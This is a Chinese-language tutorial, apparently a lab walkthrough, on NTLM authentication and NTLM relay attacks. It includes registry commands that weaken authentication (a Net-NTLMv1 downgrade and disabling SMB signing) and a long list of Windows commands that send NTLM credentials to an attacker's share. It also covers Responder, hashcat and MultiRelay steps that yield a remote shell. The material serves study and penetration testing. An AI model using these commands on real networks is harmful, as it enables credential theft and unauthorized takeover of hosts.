NTML-Relay前置知识

什么是NTML协议

NTLM(New Technology LAN Manager)协议是微软提供的一种安全协议,用于在Windows环境中进行身份验证。它基于质询响应机制,允许用户向服务器证明自己的身份,以便使用服务器提供的服务。NTLM协议的认证过程分为三个步骤:协商、质询和验证。在工作组环境中,用户使用服务器的本地账户进行认证;而在域环境中,用户使用域账户进行认证,服务器需要与域控制器交互来完成认证。NTLM协议虽然不直接传输密码,但使用了密码的哈希值NTLM Hash来进行身份验证。

NTLM认证过程

在非域环境中

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate协商消息。

  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。

  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。

  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

如果是在域环境中,那么认证过程会经过域控制器:

  1. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

  2. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

服务器根据DC返回的结果,对客户端进行回复

NTLM Hash和Net-NTLM Hash区别

NTLM Hash:

NTLM Hash是微软为了提高安全性的同时保证兼容性而设计的散列加密算法。它是基于MD4加密算法进行加密的,用于在Windows系统中存储用户的密码信息。具体来说,NTLM Hash的生成过程包括以下几个步骤:

  1. 将用户的密码转换为16进制格式。
  2. 将16进制格式的字符串进行ASCII转Unicode编码。
  3. 对Unicode编码的16进制字符串进行MD4单向哈希加密,得到最终的NTLM Hash值。

在Windows Vista和Windows Server 2008之前的系统中,还会使用LM Hash,但从这两个版本开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。通常情况下,NTLM Hash存储在Windows系统中的SAM文件或域控制器的NTDS.dit文件中。

简单来说就是当用户注销、重启、锁屏后,操作系统就会让winlogon.exe显示登录界面,也就是输入框。当winlogon.exe接收输入后,将密码交给lsass.exe进程,lsass.exe进程中会存一份明文密码,登录时就需要将lsass.exe进程转换的明文密码hash与sam文件进行比对,这种方式即为本地认证。在渗透测试中,可以通过Mimikatz等工具读取lsass.exe进程,从而获得已登录用户的NTLM Hash或是明文密码。此外,在NTLM认证过程中,客户端会使用用户的NTLM Hash对服务器发送的Challenge进行加密,生成Response,以证明客户端用户已经知道账户密码

Net-NTLM Hash:

Net-NTLM Hash是网络环境下NTLM(New Technology LAN Manager)认证协议中使用的一种密码哈希,它在客户端和服务器之间的身份验证过程中扮演重要角色。NTLM认证是一种质询/响应(Challenge/Response)机制,Net-NTLM Hash的生成和使用流程如下:

  1. 客户端向服务器发送一个登录请求,通常包括明文的登录用户名。
  2. 服务器接收到请求后,生成一个随机数(Challenge),并将其发送回客户端。
  3. 客户端收到Challenge后,使用登录用户的密码NTLM Hash对Challenge进行加密,生成加密后的Response,并将这个Response发送给服务器。
  4. 服务器接收到客户端发回的Response,使用存储的用户密码NTLM Hash对之前发送的Challenge进行加密,生成Challenge1。然后比较服务器生成的Challenge1和客户端发回的Response是否一致,如果一致则验证成功。

Net-NTLM Hash与存储在Windows系统SAM文件中的本地NTLM Hash不同,它是在网络认证过程中,客户端用来响应服务器Challenge的加密结果。在NTLM认证中,根据使用的挑战/响应协议的版本,存在不同格式的Net-NTLM Hash,包括Net-NTLM v1 Hash和Net-NTLM v2 Hash。Net-NTLM v1相对容易受到攻击,而Net-NTLM v2提供了更强的安全性。

NTLMv1、NTLM v2区别在于:

NTLM v1的Challenge有8位,NTLM v2的Challenge为16位。

NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。

他们的共同点就是都是通过NTLM Hash进行的加密

自Windows Vista/Server2008开始起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限。2008 win7 及以上都是用了v2协议。2000 xp使用v1协议认证。

将系统的v2修改成v1

(1)一条命令临时修改(适用:2008、2012、win7)

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f

(2)这种方法亦可,区别在于确保Net-NTLMv1开启成功

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

NTML-Relay攻击

Net-NTLM Relay的攻击原理

由于本文章只是关于NTML-Relay攻击的知识 所以关于针对NTLM Hash的攻击放在后面的文章来讲述

首先我们要知道Windows系统名称解析顺序
当我们访问一个共享时 net use \\ip\xxx,其寻找这个主机名称会遵循以下的步骤:

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)
  2. DNS缓存/DNS服务器
  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

如果没有在1、2项中找到对应名称,系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是这台机器。

因此当用户输入不存在、包含错误或者DNS中 没有的主机名时,通过Responder工具监听LLMNR和NetBIOS广播,就可以伪装成受害者要访问的这台机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLM Hash。

652d27f3-9ac2-4d4d-8758-6bb0d92ea543

本地和缓存查询不到sfss时,内网主机就会将未经认证的UDP广播到网络中,询问谁是sfss,由于该过程未被认证,并且广播到整个网络,从而允许网络 上的任何机器响应并声称自己是sfss。此时kali伪装成sfss这台机器,接着进行ntlm认证。从而让受害者交出相应的登陆凭证(Net-NTLMhash)

触发NTLM认证的命令,这里大多数用的SMB通信协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
net.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe * \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!* writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo

Net-NTLM Relay攻击

暴力破解明文密码

首先攻击机利用kali工具(responder)进行监听

1d4a5629-9657-4f14-a8d9-efe2883ad68d
1
responder -I eth0 -v   //-I是指定网卡  -v是开启详细模式

受害者机器输入不能被解析的路径

dbad0bb0-a36a-45e3-b7fb-4612f9ccba8b

监听到了这台机器的NTLM v2 凭证,这个v2凭证不能用来PTH,但是可以通过这个配合字典来破解出administrator的明文密码,可以通过hashcat来进行破解

24862e23-9427-4d5a-bafa-f988dc8b949e

保存下这个hash使用工具nth进行识别

nth工具安装

1
pip3 install name-that-hash 
d244b8d8-375e-4d8a-9525-0d093188db56

可以看到识别到5600,接下来就可以使用hashcat进行爆破

c9b99bd0-aa92-4241-97e1-3a5c94b464f0

可以看到已经成功爆破出明文密码 (使用john也能爆破出来)

d049a38e-2f03-487b-af5a-63dc59f24084

当然攻击芝士很多

详细的可以看这篇文章

1
https://www.anquanke.com/post/id/193493

Windows内网协议学习NTLM篇之发起NTLM请求-安全客 - 安全资讯平台

NTLM重放攻击

利用场景如 在获取了高权限域内Net-NTLM Hash后对密码进行了爆破,如果爆破不出来 这时,就可以使用NTLM重放攻击进行域内横向移动

b7c87ff8-5929-4503-a976-ed94bbbb550b

重放本身的含义就是:攻击者利用网络监听或者其他方式盗取认证凭据,之后再把它重新发给认证服务器。

因此NTLM重放攻击也就是将窃听到的客户端Net-NTLM hash,重放到服务端。而由于攻击者拥有了该凭证,因此服务端自然而然就认为攻击者就是客户端。如果这个凭据权限足够,那么就可以控制域内其它主机,所以凭据的权限很重要。这里攻击者其实就充当了一个中间人的身份。

攻击前提

NTLM Relay攻击时在域中通过relay到smb服务将管理组成员冲放到到一些敏感的机器上。

因此relay到smb服务要求被攻击机器不能开启SMB签名,域内主机的 SMB 签名默认关闭,但域控是默认开启的。

实验环境

虚拟机 IP
kali(攻击机) 192.168.52.129
Win2003(域控) 192.168.52.141
Win2008(域成员登录) 192.168.52.138
Win7(受害机) 192.168.52.143

1.先用RunFinger.py来查看下内网中开放的信息。

1
python RunFinger.py -i 192.168.52.0/24      //RunFinger.py在responder工具目录

若域内其他主机开启了SMB Signing,可通过命令关闭对应服务( Windows Server系列中RequireSecuritySignature子键默认值为1)

1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f

2.修改responder的配置文件Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:

1
sudo vim /usr/share/responder/Responder.conf
221b64f7-0844-4309-b6f8-8b1d69cff405

3.先开启responder进行监听

effa06c9-ff13-430d-a8ba-d3477eb849cd

4.启动MultiRelay.py(MultiRelay.py工具在responder/tools/下)

2fd56f7e-e263-458a-8ce1-73586be8f8fe

5.利用高权限域内主机进行广播

cc396094-dd60-4b50-a5eb-b0697ffc2614

(这里的net use \\dsadasda 随便写一个不存在的就行 传递一个SMB流量)

6.返回了win7的shell 攻击成功

af425d19-e3e0-46f2-aa45-2b2c62805f16 7ceea99c-71f5-44c4-bcf4-e86b1b108004

并且是高权限 实验完成 (Impacket中的smbrelayx.py也能做到)

参考

1
2
3
4
https://www.anquanke.com/post/id/193493
https://xz.aliyun.com/t/8562?time__1311=n4%2BxnD0DcDuD907DCiD%2Fje0%3DeitePvh4x4%2BWPhD
https://www.freebuf.com/articles/network/244375.html
https://blog.csdn.net/weixin_54902210/article/details/128340465